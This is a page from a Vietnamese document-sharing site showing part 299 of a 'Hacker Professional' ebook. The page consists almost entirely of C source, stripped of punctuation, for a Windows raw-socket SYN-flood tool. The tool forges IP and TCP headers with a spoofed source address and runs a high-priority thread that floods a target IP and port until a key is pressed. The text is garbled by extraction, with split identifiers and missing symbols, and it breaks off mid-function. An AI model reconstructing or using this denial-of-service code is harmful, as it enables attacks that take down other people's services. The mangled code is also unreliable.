tailieunhanh - Hacker Professional Ebook part 299

Tham khảo tài liệu 'hacker professional ebook part 299', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | int portNum 0 DWORD dw HANDLE hThread NULL char putInfo if argc 3 printf s n right printf Invalid command Pls use n s IP port nExample s 80 argv 0 argv 0 return 1 if ErrorCode W SAStartup MAKEWORD 2 1 wsaData 0 printf WSAStartup failed d n ErrorCode return 2 sockMain WSASocket AF_INET SOCK_RAW IPPROTO_RAW NULL 0 WSA_FLAG_OVERLAPPED if sockMain INVALID_SOCKET printf Socket failed d n WSAGetLastError return 3 ErrorCode setsockopt sockMain IPPROTO_IP IP_HDRINCL char flag sizeof int if ErrorCode SOCKET_ERROR printf Set sockopt failed d n WSAGetLastError return 4 ErrorCode setsockopt sockMain SOL_SOCKET SO_SNDTIMEO char TimeOut sizeof TimeOut if ErrorCode SOCKET_ERROR printf Set sockopt time out failed d n WSAGetLastError return 5 portNum atoi argv 2 memset sockAddr 0 sizeof sockAddr sockAddr. sin_family AF_INET sockAddr. sin_addr. s_addr inet_addr argv 1 F akeIpNet inet_addr FAKE_IP F akeIpHost ntohl F akelpNet 4 4 sizeof IP_HEADER sizeof unsigned long htons sizeof IP_HEADER sizeof TCP_HEADER 1 0 128 IPPROTO_TCP 0 htonl FakeIpHost SendSEQ inet_addr argv 1 htons portNum htons portNum htonl SEQ SendSEQ 0 sizeof TCP_HEADER 4 4 0 2 htons 16384 0 0 PSD_HEADER. saddr ipheader. sourcelP 0 IPPROTO_TCP htons sizeof tcpheader printf s n right hThread CreateThread NULL 0 LPTHREAD_START_ROUTINE flood 0 CREATE_SUSPENDED dw SetThreadPriority hThread THREAD_PRIORITY_HIGHEST ResumeThread hThread printf Warning start . nPress any key to stop n putInfo getchar T erminateThread hThread 0 WSACleanup printf nStopd. n return 0 int flood while 1 if SendSEQ 65536 SendSEQ 1 if activPort